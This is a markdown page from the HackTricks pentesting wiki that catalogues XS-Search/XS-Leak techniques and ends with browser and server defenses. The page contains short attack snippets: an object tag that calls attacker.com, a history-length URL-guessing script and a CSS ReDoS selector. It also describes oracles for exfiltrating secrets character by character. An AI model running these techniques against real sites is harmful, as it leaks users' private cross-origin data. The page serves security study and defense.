hacktricks/pentesting-web/xs-search.md
2023-01-22 23:19:55 +00:00

83 KiB
Raw Blame History

XS-Search/XS-Leaks


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

Basic Information

XS-Search is a technique oriented to exfiltrate cross-origin information abusing side channel attacks.

There are different elements in this kind of attack:

  • Vulnerable Web: Is the web from where we want to exfiltrate some info
  • Attacker's Web: Is the web the attacker creates containing the exploit and that the victim access
  • Inclusion Method: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
  • Leak Technique: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
  • States: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
  • Detectable Differences: This is the information the attacker has to try to decide the status of the vulenrable web

Detectable Diferences

In order to distinguish between the 2 states of the vulnerable page several things could be looked at:

  • Status Code. An attacker can distinguish different HTTP response status codes cross-origin (e.g., server errors, client errors, or authentication errors).
  • API Usage. This detectable difference allows an attacker to detect Web APIs usage across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
  • Redirects. It is possible to detect if a web application has navigated the user to a different page. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
  • Page Content. These detectable differences appear in the HTTP response body itself or in sub-resources included by the page. For example, this could be the number of included frames (cf. XS-Leak on Gitlab) or size differences of images.
  • HTTP Header. An attacker can detect the presence of a specific HTTP response header and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
  • Timing: An attacker can detect that a consistent time difference exists between 2 states.

Inclusion Methods

  • HTML Elements. HTML offers a variety of elements that enable cross-origin resource inclusion. Elements like stylesheets, images, or scripts, force the victims browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online (https://github.com/cure53/HTTPLeaks).
  • Frames. Elements such as iframe, object, and embed may embed further HTML resources directly into the attacker page. If the page does not use framing protection, JavaScript code can access the framed resources window object via the contentWindow property.
  • Pop-ups. The window.open method loads a resource in a new browser tab or window. The method returns a window handle that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it bypasses framing and cookie restrictions for a target resource. Newer browser versions recently added means to isolate window handles.
  • JavaScript Requests. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: XMLHttpRequests and its successor Fetch API. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.

Leak Techniques

  • Event Handler. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of onload indicates a successful resource loading in contrast to the onerror event.
  • Error Messages. Beyond event handlers, error messages can occur as JavaScript exceptions and special error pages. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional information directly contained in the error message, or distinguish between the appearance and absence of an error message.
  • Global Limits. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browsers running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine when the limit is reached this can be used as a leak technique.
  • Global State. Browsers have global states that all pages can interact with. If this interaction is detectable from an attackers website, it can be used as a leak technique. For example, the History interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the number of entries allows an attacker to draw conclusions about cross-origin pages.
  • Performance API. The Performance API is used to access the performance information of the current page. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw conclusions about requested resources. For example, we identified cases where browsers will not create performance entries for some requests.
  • Readable Attributes. HTML has several attributes that are readable cross-origin. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.

Timing Based techniques

Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.

Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper: https://xsinator.com/paper.pdf
You can access the tool in https://xsinator.com/

{% hint style="warning" %} Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate. {% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Event Handler Techniques

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the onload and onerror events inside the tag (instead of injecting it from JS).

There is also a script-less version of this attack:

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

The unload and beforeunload events can be used to measure the time it takes to fetch a resource. This works because beforeunload is triggered when the browser requests a new navigation request, while unload is triggered when that navigation actually occurs. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the time it took the browser to complete fetching the resource.

Sandboxed Frame Timing + onload

If a page doesnt have any Framing Protections implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the onload handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the sandbox attribute in the <iframe>. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside <script> tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed.
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Attackers can observe when CORB is enforced if a response returns a CORB protected Content-Type (and nosniff) with the status code 2xx which results in CORB stripping the body and headers from the response. Detecting this protection allows an attacker to leak the combination of both the status code (success vs. error) and the Content-Type (protected by CORB or not).
  • Code Example:

Check the more information link for more information about the attack.

onblur

It's possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
  • Code Example: Any code listening for all postMessages.

Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one could find sensitive info (potentially if the the targetOrigin param is not used). Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScripts concurrency model is based on a single-threaded event loop which means it can only run one task at a time.
Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Busy Event Loop

One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
  • Code Example:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, browsers have to impose a limit. To exploit the existence of this limit, attackers can:

  1. Check what the limit of the browser is, for example 256 global sockets.
  2. Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
  3. Use the 256th socket by performing a request to the target page.
  4. Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: It's like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Performance API Techniques

The Performance API provides access to performance-related information enhanced by the data from the Resource Timing API which provides the timings of network requests such as the duration but when theres a Timing-Allow-Origin: * header sent by the server the transfer size and domain lookup time is also provided.
This data can be accessed by using performance.getEntries or performance.getEntriesByName It can also be used to get the execution time using the difference of performance.now() however this seems to be less precise for a chrome fetch because it only provides the milliseconds.

This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the performance object in Chrome.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In SA, it is possible to detect if the XSSAuditor was triggered and thus leak sensitive information. The XSS-Auditor is a built-in feature of SA and GC (now removed) designed to mitigate Cross-Site Scripting (XSS) attacks. In 2013, Braun and Heiderich [7] showed that the XSS-Auditor can be used to block benign scripts with false positives. Based on their technique, researchers exfiltrate information and detect specific content on a cross-origin page. These XS-Leaks were first described in a bug report by Terada and later in a blog post by Heyes . However, the discovered techniques applied only to the XSS-Auditor in GC and do not work in SA. We found that blocked pages will not create Performance API entries. That means an attacker can still leak sensitive information with the XSS-Auditor in SA.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it's possible to check if a resource is cached.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
  document.getElementById("log").innerHTML += msg;
}

function startup() {
  let audioElement = document.getElementById("audio");
 // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
  document.getElementById("startTest").addEventListener("click", function() {
    audioElement.src = document.getElementById("testUrl").value;
  }, false);
  // Create the event handler
  var errHandler = function() {
    let err = this.error;    
    let message = err.message;
    let status = "";
    
    // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
    // Firefox error.message when the request loads successfully: "Failed to init decoder"
    if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
      status = "Success";
    }else{
      status = "Error";
    }
    displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
  };
  audioElement.onerror = errHandler;
}

The message property of the MediaError interface contains a different string for resources that loads successfully. This allows an attacker to infer the response status for a cross-origin resource.

CORS Error

This technique allows an attacker to leak the target of a redirect that is initiated by a cross-origin site.

CORS allows publicly accessible web resources to be read and used from any website. In Webkit-based browsers, it is possible to access CORS error messages when a CORS request fails. An attacker can send a CORS-enabled request to a target website which redirects based on the user state. When the browser denies the request, the full URL of the redirect target is leaked in the error message. With this attack, it is possible to detect redirects, leak redirect locations, and sensitive query parameters.

SRI Error

An attacker can leak the size of cross-origin responses due to verbose error messages.

The integrity attribute defines a cryptographic hash by which the browser can verify that a fetched resource has not been manipulated. This security mechanism is called Subresource Integrity (SRI). It is used for integrity verification of resources served from content delivery networks (CDNs). To prevent data leaks, cross-origin resources must be CORS-enabled. Otherwise, the response is not eligible for integrity validation. Similar to the CORS error XS-Leak, it is possible to catch the error message after a fetch request with an integrity attribute fails. An attacker can forcefully trigger this error on any request by specifying a bogus hash value. In SA, this error message leaks the content length of the requested resource. An attacker can use this leak to detect differences in response size, which enables powerful XS-Leak attacks.

CSP Violation/Detection

An XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect.
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

Cache

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.

If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.

CSP Directive

A new feature in GC allows web pages to proposes a CSP by setting an attribute on an iframe element. The policy directives are transmitted along with the HTTP request. Normally, the embedded content must explicitly allow this with an HTTP header, otherwise an error page is displayed. However, if the iframe already ships a CSP and the new policy is not stricter, the page will display normally.

This allows an attacker to detect specific CSP directive of a crossorigin page, if it is possible to detect the error page. Although, this bug is now marked as fixed, we found a new leak technique that can detect the error page, because the underlying problem was never fixed.

CORP

The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.

CORB

Check the more information link for more information about the attack.

CORS error on Origin Reflection misconfiguration

In case the Origin header is being reflected in the header Access-Control-Allow-Origin an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain).
Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *) this won't work.

Readable Attributes Technique

Fetch Redirect

Submitting a request using the Fetch API with redirect: "manual" and other params, it's possible to read the response.type attribute and if it's equals to opaqueredirect then the response was a redirect.

COOP

An attacker can leak if the Cross-Origin Opener Policy (COOP) header is available within a cross-origin HTTP response.

Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this header can easily be detected by trying to read the contentWindow reference. If a site only deploys COOP in one state, this property (opener) is undefined, otherwise it is defined.

URL Max Length

If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.

If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script> will automatically send the cookies (so you can check for errors).
An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Max Redirects

If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.

History Length

The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.
Checking history.length, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: It's possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
  • Code Example: Below

An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank, the history length did never increase when loading the guessed url.

async function debug(win, url) {
    win.location = url + '#aaa';
    win.location = 'about:blank';
    await new Promise(r => setTimeout(r, 500));
    return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Counting the number of frames in a web opened via iframe or window.open might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.

An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed is used internally. There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar where this technique could be interesting.

HTMLElements

Some webpages may dynamically generate media files depending on user information or add watermarks that change media size. An attacker can use information leaked by those HTML elements to distinguish between possible states.

Some HTMLElements will leak some information to cross-origins such as the type of media they are:

CSS Property

Web applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.

CSS History

{% hint style="info" %} According to this, this is not working in headless Chrome. {% endhint %}

Using the CSS :visited selector, its possible to apply a different style for URLs that have been visited.
Previously it was possible to use getComputedStyle() to detect this difference but now browsers prevent this by always returning values as if the link was visited and limiting what styles can be applied using the selector.
So, it may be needed to trick the user into clicking an area that the CSS has affected this can be done using mix-blend-mode.
There are also ways to do it without user interaction such as by abusing render timings this works because it takes time to paint links a different color.
A PoC was provided on a chromium report that works by using multiple links to increase the time difference.

ContentDocument X-Frame Leak

In Chrome, when a page is not allowed to be embedded on a cross-origin page, because the X-FrameOptions (XFO) header is set to deny or same-origin, an error page is shown instead. For objects, this error page can be detected by checking the contentDocument property. Typically, this property returns null because access to a cross-origin embedded document is not allowed. However, due to Chromes rendering of the error page, an empty document object is returned instead. This does not work for iframes or in other browsers. Developers may forget to set X-Frame-Options for all pages and especially error pages often miss this header. As a leak technique, an attacker may be able to differentiate between different user states by checking for it.

Download Detection

The Content-Disposition header (Content-Disposition: attachment) indicates if the browser is either supposed to downloaded content or displayed it inline.

If only a logged in user would be able to access a page which will download a file because it's using the header. It's possible to detect that behaviour.

Download bar

In Chromium-based browsers, when a file is downloaded, a preview of the download process appears in a bar at the bottom, integrated into the browser window. By monitoring the window height, attackers can detect whether the “download bar” opened.

Download Navigation (with iframes)

Another way to test for the Content-Disposition: attachment header is to check if a navigation occurred. If a page load causes a download, it does not trigger a navigation and the window stays within the same origin.

Download Navigation (without iframes)

Same technique as the previous one but using window.open instead of iframes.

Partitioned HTTP Cache Bypass

{% hint style="warning" %} This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here) {% endhint %}

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.

Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.

Manual Redirect

Fetch with AbortController

AbortController could be combined with fetch and setTimeout to both detect whether the resource is cached and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.

Script Pollution

Service Workers

  1. The attacker registers a service worker in one of their domains (attacker.com).
  2. In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
  3. When the new window starts loading, the attacker navigates the reference obtained in step 2 to a page handled by the Service Worker.
  4. When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
  5. At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Fetch Timing

Cross-Window Timing


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

With HTML or Re Injection

Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

Image Lazy Loading

If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques.
However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.

Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:

<img src=/something loading=lazy >

Therefore, what you can do is to add a lot of junk chars (For example thousands of "W"s) to fill the web page before the secret. We do this so the image is not loaded at the begging.

However, you make the bot access the page with something like

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Find another example using lazy loading here:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defenses

In this section you can find part of the mitigations recommended in https://xsinator.com/paper.pdf however, there are more mitigations in each section of the wiki https://xsleaks.dev/. Take a look there for more information about how to protect against these techniques.

Inclusion Method Mitigations

  • HTML elements. It can use the CORP header to control if pages can embed a resource. CORP can either be set to same-origin or same-site and blocks any cross-origin respectively cross-site requests to that resource. On the client site, Chromium-based browsers use the CORB algorithm to decide whether cross-origin resource requests should be allowed or denied.
  • Frames. The main defense to prevent iframe elements from loading HTML resources is the usage of X-Frame-Options. Alternatively, the CSP directive frame-ancestors can achieve a similar result. If the embedding is denied, the inclusion method cannot detect a difference in the responses.
  • Pop-ups. For restricting the access to window.opener, the COOP HTTP response header defines three different values: unsafe-none (default), same-origin-allow-popups, and same-origin. These values can be used to isolate browsing tabs and pop-ups and thus, mitigates leak techniques based on pop-ups.
  • JavaScript Requests. Cross-origin JavaScript requests are often used in XS-Leak attacks, because an attacker has fine-grained control over the issued request. However, since these request are not CORS enabled they fall under the same restrictions as requests send by HTML elements, like scripts or images. Thus the impact of this leak technique can also be mitigated by CORP and CORB.

More generic methods:

  • Fetch Metadata. These request headers allow server owners to understand better how the users browser caused a specific request. In Chrome, Sec-Fetch-* headers are automatically added to each request and provide metadata about the requests provenance. For example, Sec-Fetch-Dest: image was triggered from an image element. Web applications can then choose to block requests based on that information.
  • Same-Site Cookies. The Same-Site cookie flag allows websites to declare whether a cookie should be restricted to same-site or firstparty context. All major browsers support Same-Site cookies. In GC, cookies without the attribute are now Lax by default. For XS-Leaks, Same-Site cookies drastically limit the leak attack possibilities. On the other hand, leak techniques that rely on window.open still work with SameSite=Lax. Websites that use other authentication methods, such as client-side certificates and HTTP authentication, remain vulnerable.
  • Cross-Origin Identifier Unlinkability (COIU). COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FFs expert settings (about:config) and was initially introduced in Tor Browser. In an abstract view, it is an extended same-site context. It binds multiple resources (e.g., Cookies, Cache, Client-side storages) to the first-party instead of sharing them among all visited websites. If enabled, COIU drastically decreases the applicability of XS-Leaks, since only methods using pop-ups are still possible to fit the policys first-party requirement.
  • Tracking Protections. Apple implemented a privacy mechanism called Intelligent Tracking Prevention (ITP) in SA that aims to combat cross-site tracking by limiting the capabilities of cookies and other web APIs. In newer versions of SA, ITP blocks all third-party cookies by default without any exceptions [74]. This blocking prevents all leaks that are not based on pop-ups. FF took a similar approach with Enhanced Tracking Prevention (ETP), but they only block specific third-party cookies belonging to tracking providers. In the context of XS-Leaks, ETP only mitigates leak techniques that target these tracking domains.
  • Browser Extensions. Security aware users can use browser extensions to prevent certain inclusion methods.

Leak Technique Mitigations

  • Event Handler. The most effective mitigation on this leak technique would be to deny them all, but this would break the majority of web applications on the Internet. We therefore propose to reduce the number of the necessary information that can be gathered within events. For example, the CSP violation event should not contain the redirection target URL in the blockedURI field. This behavior is implemented in FF and in newer versions of GC only SA remains vulnerable.
